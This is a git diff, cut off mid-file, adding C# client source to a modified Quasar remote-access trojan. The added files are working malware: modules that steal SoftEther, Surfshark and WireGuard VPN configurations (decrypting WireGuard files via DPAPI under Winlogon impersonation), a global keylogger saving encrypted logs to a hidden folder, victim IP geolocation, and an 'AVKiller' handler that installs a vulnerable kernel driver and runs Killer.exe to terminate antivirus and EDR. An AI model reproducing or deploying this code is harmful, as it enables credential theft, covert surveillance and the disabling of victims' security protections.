b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/SoftEther.cs @@ -0,0 +1,52 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class SoftEther : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles), "SoftEther VPN Client"); + if (!Directory.Exists(text)) + { + return; + } + string path = "SoftEther"; + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "SoftEther VPN"; + string text2 = Path.Combine(text, "vpn_client.config"); + if (File.Exists(text2)) + { + try + { + string text3 = Path.Combine("Vpn", path, "vpn_client.config"); + zip.AddFile(text3, File.ReadAllBytes(text2)); + counterApplications.Files.Add(text2 + " => " + text3); + } + catch + { + } + } + string[] files = Directory.GetFiles(text, "*.vpn", SearchOption.TopDirectoryOnly); + foreach (string text4 in files) + { + try + { + string fileName = Path.GetFileName(text4); + string text5 = Path.Combine("Vpn", path, fileName); + zip.AddFile(text5, File.ReadAllBytes(text4)); + counterApplications.Files.Add(text4 + " => " + text5); + } + catch + { + } + } + if (counterApplications.Files.Count > 0) + { + counterApplications.Files.Add(Path.Combine("Vpn", path)); + counter.Vpns.Add(counterApplications); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/SurfShark.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/SurfShark.cs new file mode 100755 index 0000000..04b8bbf --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/SurfShark.cs @@ -0,0 +1,37 @@ +using System; +using System.IO; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Vpn; + +public class SurfShark : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Surfshark"); + if (!Directory.Exists(text)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "Surfshark"; + string[] array = new string[4] { "data.dat", "settings.dat", "settings-log.dat", "private_settings.dat" }; + foreach (string path in array) + { + try + { + string path2 = Path.Combine(text, path); + if (File.Exists(path2)) + { + zip.AddFile(Path.Combine("Surfshark", path), File.ReadAllBytes(path2)); + } + } + catch + { + } + } + counterApplications.Files.Add(text + " => Surfshark"); + counterApplications.Files.Add("Surfshark\\"); + counter.Vpns.Add(counterApplications); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/WireGuard.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/WireGuard.cs new file mode 100755 index 0000000..bc05e7d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Vpn/WireGuard.cs @@ -0,0 +1,52 @@ +using System.IO; +using System.Threading.Tasks; +using Intelix.Helper; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; + +namespace Intelix.Targets.Vpn; + +public class WireGuard : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string text = "C:\\Program Files\\WireGuard\\Data\\Configurations"; + if (!Directory.Exists(text)) + { + return; + } + Counter.CounterApplications counterApplications = new Counter.CounterApplications(); + counterApplications.Name = "WireGuard"; + try + { + using (ImpersonationHelper.ImpersonateWinlogon()) + { + Parallel.ForEach(Directory.GetFiles(text), delegate(string file) + { + try + { + string extension = Path.GetExtension(file); + if (extension == ".dpapi") + { + byte[] content = DpApi.Decrypt(File.ReadAllBytes(file)); + zip.AddFile("WireGuard\\" + Path.GetFileNameWithoutExtension(file), content); + } + else if (extension == ".conf") + { + zip.AddFile("WireGuard\\" + Path.GetFileNameWithoutExtension(file) + ".conf", File.ReadAllBytes(file)); + } + } + catch + { + } + }); + } + } + catch + { + } + counterApplications.Files.Add(text + " => WireGuard"); + counterApplications.Files.Add("WireGuard\\"); + counter.Vpns.Add(counterApplications); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets/ITarget.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets/ITarget.cs new file mode 100755 index 0000000..eb355a4 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets/ITarget.cs @@ -0,0 +1,8 @@ +using Intelix.Helper.Data; + +namespace Intelix.Targets; + +public interface ITarget +{ + void Collect(InMemoryZip zip, Counter counter); +} diff --git a/Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoInformation.cs b/Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoInformation.cs new file mode 100755 index 0000000..f2f40a8 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoInformation.cs @@ -0,0 +1,16 @@ +namespace Quasar.Client.IpGeoLocation +{ + /// + /// Stores the IP geolocation information. + /// + public class GeoInformation + { + public string IpAddress { get; set; } + public string Country { get; set; } + public string CountryCode { get; set; } + public string Timezone { get; set; } + public string Asn { get; set; } + public string Isp { get; set; } + public int ImageIndex { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoInformationFactory.cs b/Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoInformationFactory.cs new file mode 100755 index 0000000..3af63ce --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoInformationFactory.cs @@ -0,0 +1,47 @@ +using System; + +namespace Quasar.Client.IpGeoLocation +{ + /// + /// Factory to retrieve and cache the last IP geolocation information for minutes. + /// + public static class GeoInformationFactory + { + /// + /// Retriever used to get geolocation information about the WAN IP address. + /// + private static readonly GeoInformationRetriever Retriever = new GeoInformationRetriever(); + + /// + /// Used to cache the latest IP geolocation information. + /// + private static GeoInformation _geoInformation; + + /// + /// Time of the last successful location retrieval. + /// + private static DateTime _lastSuccessfulLocation = new DateTime(1, 1, 1, 0, 0, 0, DateTimeKind.Utc); + + /// + /// The minimum amount of minutes a successful IP geolocation retrieval is valid. + /// + private const int MINIMUM_VALID_TIME = 60 * 12; + + /// + /// Gets the IP geolocation information, either cached or freshly retrieved if more than minutes have passed. + /// + /// The latest IP geolocation information. + public static GeoInformation GetGeoInformation() + { + var passedTime = new TimeSpan(DateTime.UtcNow.Ticks - _lastSuccessfulLocation.Ticks); + + if (_geoInformation == null || passedTime.TotalMinutes > MINIMUM_VALID_TIME) + { + _geoInformation = Retriever.Retrieve(); + _lastSuccessfulLocation = DateTime.UtcNow; + } + + return _geoInformation; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs b/Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs new file mode 100755 index 0000000..bb44f14 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoInformationRetriever.cs @@ -0,0 +1,174 @@ +using Quasar.Client.Helper; +using System.Globalization; +using System.IO; +using System.Net; + +namespace Quasar.Client.IpGeoLocation +{ + /// + /// Class to retrieve the IP geolocation information. + /// + public class GeoInformationRetriever + { + /// + /// List of all available flag images on the server side. + /// + private readonly string[] _imageList = + { + "ad", "ae", "af", "ag", "ai", "al", + "am", "an", "ao", "ar", "as", "at", "au", "aw", "ax", "az", "ba", + "bb", "bd", "be", "bf", "bg", "bh", "bi", "bj", "bm", "bn", "bo", + "br", "bs", "bt", "bv", "bw", "by", "bz", "ca", "catalonia", "cc", + "cd", "cf", "cg", "ch", "ci", "ck", "cl", "cm", "cn", "co", "cr", + "cs", "cu", "cv", "cx", "cy", "cz", "de", "dj", "dk", "dm", "do", + "dz", "ec", "ee", "eg", "eh", "england", "er", "es", "et", + "europeanunion", "fam", "fi", "fj", "fk", "fm", "fo", "fr", "ga", + "gb", "gd", "ge", "gf", "gh", "gi", "gl", "gm", "gn", "gp", "gq", + "gr", "gs", "gt", "gu", "gw", "gy", "hk", "hm", "hn", "hr", "ht", + "hu", "id", "ie", "il", "in", "io", "iq", "ir", "is", "it", "jm", + "jo", "jp", "ke", "kg", "kh", "ki", "km", "kn", "kp", "kr", "kw", + "ky", "kz", "la", "lb", "lc", "li", "lk", "lr", "ls", "lt", "lu", + "lv", "ly", "ma", "mc", "md", "me", "mg", "mh", "mk", "ml", "mm", + "mn", "mo", "mp", "mq", "mr", "ms", "mt", "mu", "mv", "mw", "mx", + "my", "mz", "na", "nc", "ne", "nf", "ng", "ni", "nl", "no", "np", + "nr", "nu", "nz", "om", "pa", "pe", "pf", "pg", "ph", "pk", "pl", + "pm", "pn", "pr", "ps", "pt", "pw", "py", "qa", "re", "ro", "rs", + "ru", "rw", "sa", "sb", "sc", "scotland", "sd", "se", "sg", "sh", + "si", "sj", "sk", "sl", "sm", "sn", "so", "sr", "st", "sv", "sy", + "sz", "tc", "td", "tf", "tg", "th", "tj", "tk", "tl", "tm", "tn", + "to", "tr", "tt", "tv", "tw", "tz", "ua", "ug", "um", "us", "uy", + "uz", "va", "vc", "ve", "vg", "vi", "vn", "vu", "wales", "wf", + "ws", "ye", "yt", "za", "zm", "zw" + }; + + /// + /// Retrieves the IP geolocation information. + /// + /// The retrieved IP geolocation information. + public GeoInformation Retrieve() + { + var geo = TryRetrieveOnline() ?? TryRetrieveLocally(); + + if (string.IsNullOrEmpty(geo.IpAddress)) + geo.IpAddress = TryGetWanIp(); + + geo.IpAddress = (string.IsNullOrEmpty(geo.IpAddress)) ? "Unknown" : geo.IpAddress; + geo.Country = (string.IsNullOrEmpty(geo.Country)) ? "Unknown" : geo.Country; + geo.CountryCode = (string.IsNullOrEmpty(geo.CountryCode)) ? "-" : geo.CountryCode; + geo.Timezone = (string.IsNullOrEmpty(geo.Timezone)) ? "Unknown" : geo.Timezone; + geo.Asn = (string.IsNullOrEmpty(geo.Asn)) ? "Unknown" : geo.Asn; + geo.Isp = (string.IsNullOrEmpty(geo.Isp)) ? "Unknown" : geo.Isp; + + geo.ImageIndex = 0; + for (int i = 0; i < _imageList.Length; i++) + { + if (_imageList[i] == geo.CountryCode.ToLower()) + { + geo.ImageIndex = i; + break; + } + } + if (geo.ImageIndex == 0) geo.ImageIndex = 247; // question icon + + return geo; + } + + /// + /// Tries to retrieve the geolocation information online. + /// + /// The retrieved geolocation information if successful, otherwise null. + private GeoInformation TryRetrieveOnline() + { + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://ipwho.is/"); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"; + request.Proxy = null; + request.Timeout = 10000; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + using (Stream dataStream = response.GetResponseStream()) + { + var geoInfo = JsonHelper.Deserialize(dataStream); + + GeoInformation g = new GeoInformation + { + IpAddress = geoInfo.Ip, + Country = geoInfo.Country, + CountryCode = geoInfo.CountryCode, + Timezone = geoInfo.Timezone.UTC, + Asn = geoInfo.Connection.ASN.ToString(), + Isp = geoInfo.Connection.ISP + }; + + return g; + } + } + } + catch + { + return null; + } + } + + /// + /// Tries to retrieve the geolocation information locally. + /// + /// The retrieved geolocation information if successful, otherwise null. + private GeoInformation TryRetrieveLocally() + { + try + { + GeoInformation g = new GeoInformation(); + + // use local information + var cultureInfo = CultureInfo.CurrentUICulture; + var region = new RegionInfo(cultureInfo.LCID); + + g.Country = region.DisplayName; + g.CountryCode = region.TwoLetterISORegionName; + g.Timezone = DateTimeHelper.GetLocalTimeZone(); + + return g; + } + catch + { + return null; + } + } + + /// + /// Tries to retrieves the WAN IP. + /// + /// The WAN IP as string if successful, otherwise null. + private string TryGetWanIp() + { + string wanIp = ""; + + try + { + HttpWebRequest request = (HttpWebRequest)WebRequest.Create("https://api.ipify.org/"); + request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"; + request.Proxy = null; + request.Timeout = 5000; + + using (HttpWebResponse response = (HttpWebResponse)request.GetResponse()) + { + using (Stream dataStream = response.GetResponseStream()) + { + using (StreamReader reader = new StreamReader(dataStream)) + { + wanIp = reader.ReadToEnd(); + } + } + } + } + catch + { + } + + return wanIp; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoResponse.cs b/Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoResponse.cs new file mode 100755 index 0000000..6fda684 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/IpGeoLocation/GeoResponse.cs @@ -0,0 +1,45 @@ +using System.Runtime.Serialization; + +namespace Quasar.Client.IpGeoLocation +{ + [DataContract] + public class GeoResponse + { + [DataMember(Name = "ip")] + public string Ip { get; set; } + + [DataMember(Name = "continent_code")] + public string ContinentCode { get; set; } + + [DataMember(Name = "country")] + public string Country { get; set; } + + [DataMember(Name = "country_code")] + public string CountryCode { get; set; } + + [DataMember(Name = "timezone")] + public Time Timezone { get; set; } + + [DataMember(Name = "connection")] + public Conn Connection { get; set; } + + } + + + + [DataContract] + public class Time + { + [DataMember(Name = "utc")] + public string UTC { get; set; } + } + [DataContract] + public class Conn + { + [DataMember(Name = "asn")] + public string ASN { get; set; } + + [DataMember(Name = "isp")] + public string ISP { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Logging/Keylogger.cs b/Quasar-1.4.1/Quasar.Client/Logging/Keylogger.cs new file mode 100755 index 0000000..c8cccd5 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Logging/Keylogger.cs @@ -0,0 +1,380 @@ +using Gma.System.MouseKeyHook; +using Quasar.Client.Config; +using Quasar.Client.Extensions; +using Quasar.Client.Helper; +using Quasar.Common.Cryptography; +using Quasar.Common.Helpers; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Globalization; +using System.IO; +using System.Text; +using System.Web; +using System.Windows.Forms; +using Timer = System.Timers.Timer; + +namespace Quasar.Client.Logging +{ + /// + /// This class provides keylogging functionality and modifies/highlights the output for + /// better user experience. + /// + public class Keylogger : IDisposable + { + /// + /// True if the class has already been disposed, else false. + /// + public bool IsDisposed { get; private set; } + + /// + /// The timer used to periodically flush the from memory to disk. + /// + private readonly Timer _timerFlush; + + /// + /// The buffer used to store the logged keys in memory. + /// + private readonly StringBuilder _logFileBuffer = new StringBuilder(); + + /// + /// Temporary list of pressed keys while they are being processed. + /// + private readonly List _pressedKeys = new List(); + + /// + /// Temporary list of pressed keys chars while they are being processed. + /// + private readonly List _pressedKeyChars = new List(); + + /// + /// Saves the last window title of an application. + /// + private string _lastWindowTitle = string.Empty; + + /// + /// Determines if special keys should be ignored for processing, e.g. when a modifier key is pressed. + /// + private bool _ignoreSpecialKeys; + + /// + /// Used to hook global mouse and keyboard events. + /// + private readonly IKeyboardMouseEvents _mEvents; + + /// + /// Provides encryption and decryption methods to securely store log files. + /// + private readonly Aes256 _aesInstance = new Aes256(Settings.ENCRYPTIONKEY); + + /// + /// The maximum size of a single log file. + /// + private readonly long _maxLogFileSize; + + /// + /// Initializes a new instance of that provides keylogging functionality. + /// + /// The interval to flush the buffer from memory to disk. + /// The maximum size of a single log file. + public Keylogger(double flushInterval, long maxLogFileSize) + { + _maxLogFileSize = maxLogFileSize; + _mEvents = Hook.GlobalEvents(); + _timerFlush = new Timer { Interval = flushInterval }; + _timerFlush.Elapsed += TimerElapsed; + } + + /// + /// Begins logging of keys. + /// + public void Start() + { + Subscribe(); + _timerFlush.Start(); + } + + /// + /// Disposes used resources by this class. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected virtual void Dispose(bool disposing) + { + if (IsDisposed) + return; + + if (disposing) + { + Unsubscribe(); + _timerFlush.Stop(); + _timerFlush.Dispose(); + _mEvents.Dispose(); + WriteFile(); + } + + IsDisposed = true; + } + + /// + /// Subscribes to all key events. + /// + private void Subscribe() + { + _mEvents.KeyDown += OnKeyDown; + _mEvents.KeyUp += OnKeyUp; + _mEvents.KeyPress += OnKeyPress; + } + + /// + /// Unsubscribes from all key events. + /// + private void Unsubscribe() + { + _mEvents.KeyDown -= OnKeyDown; + _mEvents.KeyUp -= OnKeyUp; + _mEvents.KeyPress -= OnKeyPress; + } + + /// + /// Initial handling of the key down events and updates the window title. + /// + /// The sender of the event. + /// The key event args, e.g. the keycode. + /// This event handler is called first. + private void OnKeyDown(object sender, KeyEventArgs e) + { + string activeWindowTitle = NativeMethodsHelper.GetForegroundWindowTitle(); + if (!string.IsNullOrEmpty(activeWindowTitle) && activeWindowTitle != _lastWindowTitle) + { + _lastWindowTitle = activeWindowTitle; + _logFileBuffer.Append(@"



[" + + HttpUtility.HtmlEncode(activeWindowTitle) + " - " + + DateTime.UtcNow.ToString("t", DateTimeFormatInfo.InvariantInfo) + + " UTC]


"); + } + + if (_pressedKeys.ContainsModifierKeys()) + { + if (!_pressedKeys.Contains(e.KeyCode)) + { + Debug.WriteLine("OnKeyDown: " + e.KeyCode); + _pressedKeys.Add(e.KeyCode); + return; + } + } + + if (!e.KeyCode.IsExcludedKey()) + { + // The key was not part of the keys that we wish to filter, so + // be sure to prevent a situation where multiple keys are pressed. + if (!_pressedKeys.Contains(e.KeyCode)) + { + Debug.WriteLine("OnKeyDown: " + e.KeyCode); + _pressedKeys.Add(e.KeyCode); + } + } + } + + /// + /// Processes pressed keys and appends them to the . Processing of Unicode characters starts here. + /// + /// The sender of the event. + /// The key press event args, especially the pressed KeyChar. + /// This event handler is called second. + private void OnKeyPress(object sender, KeyPressEventArgs e) + { + if (_pressedKeys.ContainsModifierKeys() && _pressedKeys.ContainsKeyChar(e.KeyChar)) + return; + + if ((!_pressedKeyChars.Contains(e.KeyChar) || !DetectKeyHolding(_pressedKeyChars, e.KeyChar)) && !_pressedKeys.ContainsKeyChar(e.KeyChar)) + { + var filtered = HttpUtility.HtmlEncode(e.KeyChar.ToString()); + if (!string.IsNullOrEmpty(filtered)) + { + Debug.WriteLine("OnKeyPress Output: " + filtered); + if (_pressedKeys.ContainsModifierKeys()) + _ignoreSpecialKeys = true; + + _pressedKeyChars.Add(e.KeyChar); + _logFileBuffer.Append(filtered); + } + } + } + + /// + /// Finishes processing of the keys. + /// + /// The sender of the event. + /// The key event args. + /// This event handler is called third. + private void OnKeyUp(object sender, KeyEventArgs e) + { + _logFileBuffer.Append(HighlightSpecialKeys(_pressedKeys.ToArray())); + _pressedKeyChars.Clear(); + } + + /// + /// Finds a held down key char in a given key char list. + /// + /// The list of key chars. + /// The key char to search for. + /// True if the list contains the key char, else false. + private bool DetectKeyHolding(List list, char search) + { + return list.FindAll(s => s.Equals(search)).Count > 1; + } + + /// + /// Adds special highlighting in HTML to the special keys. + /// + /// The input keys. + /// The highlighted special keys. + private string HighlightSpecialKeys(Keys[] keys) + { + if (keys.Length < 1) return string.Empty; + + string[] names = new string[keys.Length]; + for (int i = 0; i < keys.Length; i++) + { + if (!_ignoreSpecialKeys) + { + names[i] = keys[i].GetDisplayName(); + Debug.WriteLine("HighlightSpecialKeys: " + keys[i] + " : " + names[i]); + } + else + { + names[i] = string.Empty; + _pressedKeys.Remove(keys[i]); + } + } + + _ignoreSpecialKeys = false; + + if (_pressedKeys.ContainsModifierKeys()) + { + StringBuilder specialKeys = new StringBuilder(); + + int validSpecialKeys = 0; + for (int i = 0; i < names.Length; i++) + { + _pressedKeys.Remove(keys[i]); + if (string.IsNullOrEmpty(names[i])) continue; + + specialKeys.AppendFormat((validSpecialKeys == 0) ? @"

[{0}" : " + {0}", names[i]); + validSpecialKeys++; + } + + // If there are items in the special keys string builder, give it an ending tag + if (validSpecialKeys > 0) + specialKeys.Append("]

"); + + Debug.WriteLineIf(specialKeys.Length > 0, "HighlightSpecialKeys Output: " + specialKeys.ToString()); + return specialKeys.ToString(); + } + + StringBuilder normalKeys = new StringBuilder(); + + for (int i = 0; i < names.Length; i++) + { + _pressedKeys.Remove(keys[i]); + if (string.IsNullOrEmpty(names[i])) continue; + + switch (names[i]) + { + case "Return": + normalKeys.Append(@"

[Enter]


"); + break; + case "Escape": + normalKeys.Append(@"

[Esc]

"); + break; + default: + normalKeys.Append(@"

[" + names[i] + "]

"); + break; + } + } + + Debug.WriteLineIf(normalKeys.Length > 0, "HighlightSpecialKeys Output: " + normalKeys.ToString()); + return normalKeys.ToString(); + } + + private void TimerElapsed(object sender, System.Timers.ElapsedEventArgs e) + { + if (_logFileBuffer.Length > 0) + WriteFile(); + } + + /// + /// Writes the logged keys from memory to disk. + /// + private void WriteFile() + { + // TODO: Add some house-keeping and delete old log entries + bool writeHeader = false; + + string filePath = Path.Combine(Settings.LOGSPATH, DateTime.UtcNow.ToString("yyyy-MM-dd")); + + try + { + DirectoryInfo di = new DirectoryInfo(Settings.LOGSPATH); + + if (!di.Exists) + di.Create(); + + if (Settings.HIDELOGDIRECTORY) + di.Attributes = FileAttributes.Directory | FileAttributes.Hidden; + + int i = 1; + while (File.Exists(filePath)) + { + // Large log files take a very long time to read, decrypt and append new logs to, + // so create a new log file if the size of the previous one exceeds _maxLogFileSize. + long length = new FileInfo(filePath).Length; + if (length < _maxLogFileSize) + { + break; + } + + // append a number to the file name + var newFileName = $"{Path.GetFileName(filePath)}_{i}"; + filePath = Path.Combine(Settings.LOGSPATH, newFileName); + i++; + } + + if (!File.Exists(filePath)) + writeHeader = true; + + StringBuilder logFile = new StringBuilder(); + + if (writeHeader) + { + logFile.Append( + "Log created on " + + DateTime.UtcNow.ToString("f", DateTimeFormatInfo.InvariantInfo) + " UTC

"); + + logFile.Append(""); + + _lastWindowTitle = string.Empty; + } + + if (_logFileBuffer.Length > 0) + { + logFile.Append(_logFileBuffer); + } + + FileHelper.WriteLogFile(filePath, logFile.ToString(), _aesInstance); + + logFile.Clear(); + } + catch + { + } + + _logFileBuffer.Clear(); + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Logging/KeyloggerService.cs b/Quasar-1.4.1/Quasar.Client/Logging/KeyloggerService.cs new file mode 100755 index 0000000..769546e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Logging/KeyloggerService.cs @@ -0,0 +1,68 @@ +using System; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client.Logging +{ + /// + /// Provides a service to run the keylogger. + /// + public class KeyloggerService : IDisposable + { + /// + /// The thread containing the executed keylogger and message loop. + /// + private readonly Thread _msgLoopThread; + + /// + /// The message loop which is needed to receive key events. + /// + private ApplicationContext _msgLoop; + + /// + /// Provides keylogging functionality. + /// + private Keylogger _keylogger; + + /// + /// Initializes a new instance of . + /// + public KeyloggerService() + { + _msgLoopThread = new Thread(() => + { + _msgLoop = new ApplicationContext(); + _keylogger = new Keylogger(15000, 5 * 1024 * 1024); + _keylogger.Start(); + Application.Run(_msgLoop); + }); + } + + /// + /// Starts the keylogger and message loop. + /// + public void Start() + { + _msgLoopThread.Start(); + } + + /// + /// Disposes all managed and unmanaged resources associated with this keylogger service. + /// + public void Dispose() + { + Dispose(true); + GC.SuppressFinalize(this); + } + + protected void Dispose(bool disposing) + { + if (disposing) + { + _keylogger.Dispose(); + _msgLoop.ExitThread(); + _msgLoop.Dispose(); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Messages/AVKillerHandler.cs b/Quasar-1.4.1/Quasar.Client/Messages/AVKillerHandler.cs new file mode 100755 index 0000000..3b5d6d7 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Messages/AVKillerHandler.cs @@ -0,0 +1,635 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.IO; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class AVKillerHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoAVKillerCommand; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoAVKillerCommand cmd: + Execute(sender, cmd); + break; + } + } + + private void Execute(ISender client, DoAVKillerCommand message) + { + try + { + switch (message.Command) + { + case "CHECK_DRIVER": + CheckDriver(client); + break; + case "INSTALL_DRIVER": + InstallDriver(client, message.DriverData); + break; + case "KILL_AVEDR": + KillAVEDR(client, message.KillerData); + break; + case "STOP_KILLER": + StopKiller(client); + break; + case "MAKE_PERSISTENT": + MakePersistent(client); + break; + case "EXCLUDE_CDRIVE": + ExcludeCDrive(client); + break; + } + } + catch (Exception ex) + { + client.Send(new AVKillerResponse + { + Output = $"ERROR: {ex.Message}\n", + IsError = true + }); + } + } + + private void CheckDriver(ISender client) + { + try + { + ProcessStartInfo psi = new ProcessStartInfo + { + FileName = "sc", + Arguments = "query QuasarDriver", + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = false, + RedirectStandardOutput = true, + RedirectStandardError = true, + CreateNoWindow = true + }; + + using (Process process = Process.Start(psi)) + { + string output = process.StandardOutput.ReadToEnd(); + process.WaitForExit(); + + if (process.ExitCode == 0 && output.Contains("QuasarDriver") && output.Contains("RUNNING")) + { + client.Send(new AVKillerResponse + { + Output = "DRIVER:LOADED\n", + IsError = false + }); + } + else + { + client.Send(new AVKillerResponse + { + Output = "DRIVER:NOT_LOADED\n", + IsError = false + }); + } + } + } + catch + { + client.Send(new AVKillerResponse + { + Output = "DRIVER:NOT_LOADED\n", + IsError = false + }); + } + } + + private void InstallDriver(ISender client, byte[] driverData) + { + new Thread(() => + { + try + { + client.Send(new AVKillerResponse + { + Output = ">> Starting driver installation...\n", + IsError = false + }); + + // Generate random directory name + string randomDir = Path.Combine(Path.GetTempPath(), "sys_" + Path.GetRandomFileName().Replace(".", "").Substring(0, 8)); + Directory.CreateDirectory(randomDir); + + string driverPath = Path.Combine(randomDir, "vulndriver.sys"); + File.WriteAllBytes(driverPath, driverData); + + client.Send(new AVKillerResponse + { + Output = $">> Driver saved to: {driverPath}\n", + IsError = false + }); + + // Service name + string serviceName = "QuasarDriver"; + + client.Send(new AVKillerResponse + { + Output = $">> Registering driver as service: {serviceName}\n", + IsError = false + }); + + // Create service + ProcessStartInfo psi = new ProcessStartInfo + { + FileName = "sc", + Arguments = $"create {serviceName} binPath= \"{driverPath}\" type= kernel", + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = false, + RedirectStandardOutput = true, + RedirectStandardError = true, + CreateNoWindow = true + }; + + using (Process process = Process.Start(psi)) + { + string output = process.StandardOutput.ReadToEnd(); + string error = process.StandardError.ReadToEnd(); + process.WaitForExit(); + + if (!string.IsNullOrEmpty(output)) + { + client.Send(new AVKillerResponse + { + Output = ">> SC CREATE OUTPUT:\n" + output + "\n", + IsError = false + }); + } + + if (!string.IsNullOrEmpty(error)) + { + client.Send(new AVKillerResponse + { + Output = ">> SC CREATE ERROR:\n" + error + "\n", + IsError = true + }); + } + + if (process.ExitCode != 0) + { + client.Send(new AVKillerResponse + { + Output = $">> SC CREATE failed with exit code: {process.ExitCode}\n", + IsError = true + }); + } + } + + // Start service + client.Send(new AVKillerResponse + { + Output = $">> Starting driver service...\n", + IsError = false + }); + + psi.Arguments = $"start {serviceName}"; + using (Process process = Process.Start(psi)) + { + string output = process.StandardOutput.ReadToEnd(); + string error = process.StandardError.ReadToEnd(); + process.WaitForExit(); + + if (!string.IsNullOrEmpty(output)) + { + client.Send(new AVKillerResponse + { + Output = ">> SC START OUTPUT:\n" + output + "\n", + IsError = false + }); + } + + if (!string.IsNullOrEmpty(error)) + { + client.Send(new AVKillerResponse + { + Output = ">> SC START ERROR:\n" + error + "\n", + IsError = true + }); + } + + if (process.ExitCode == 0) + { + client.Send(new AVKillerResponse + { + Output = $">> SUCCESS! Driver installed and started!\n>> Service Name: {serviceName}\n>> Driver Path: {driverPath}\n", + IsError = false + }); + } + else + { + client.Send(new AVKillerResponse + { + Output = $">> Driver start failed with exit code: {process.ExitCode}\n>> This usually means you need administrator privileges\n", + IsError = true + }); + } + } + } + catch (Exception ex) + { + client.Send(new AVKillerResponse + { + Output = $">> EXCEPTION: {ex.Message}\n>> Stack: {ex.StackTrace}\n", + IsError = true + }); + } + }).Start(); + } + + private void KillAVEDR(ISender client, byte[] killerData) + { + new Thread(() => + { + try + { + client.Send(new AVKillerResponse + { + Output = ">> Received KILL_AVEDR command\n", + IsError = false + }); + + // Save Killer.exe to random directory + string randomDir = Path.Combine(Path.GetTempPath(), "kill_" + Path.GetRandomFileName().Replace(".", "").Substring(0, 8)); + Directory.CreateDirectory(randomDir); + + string killerPath = Path.Combine(randomDir, "Killer.exe"); + File.WriteAllBytes(killerPath, killerData); + + client.Send(new AVKillerResponse + { + Output = $">> Killer.exe saved to: {killerPath}\n>> Starting AV/EDR termination...\n", + IsError = false + }); + + ProcessStartInfo psi = new ProcessStartInfo + { + FileName = killerPath, + WindowStyle = ProcessWindowStyle.Hidden, + UseShellExecute = false, + RedirectStandardOutput = true, + RedirectStandardError = true, + CreateNoWindow = true + }; + + using (Process process = new Process()) + { + process.StartInfo = psi; + + client.Send(new AVKillerResponse + { + Output = ">> Launching Killer.exe...\n", + IsError = false + }); + + process.Start(); + + // Read output + Thread outputThread = new Thread(() => + { + try + { + string line; + while ((line = process.StandardOutput.ReadLine()) != null) + { + try + { + client.Send(new AVKillerResponse + { + Output = line + "\n", + IsError = false + }); + } + catch { } + } + } + catch { } + }); + + Thread errorThread = new Thread(() => + { + try + { + string line; + while ((line = process.StandardError.ReadLine()) != null) + { + try + { + client.Send(new AVKillerResponse + { + Output = "[ERROR] " + line + "\n", + IsError = true + }); + } + catch { } + } + } + catch { } + }); + + outputThread.Start(); + errorThread.Start(); + + bool exited = process.WaitForExit(120000); // 2 minute timeout + + outputThread.Join(1000); + errorThread.Join(1000); + + if (exited) + { + client.Send(new AVKillerResponse + { + Output = $">> Killer.exe completed with exit code: 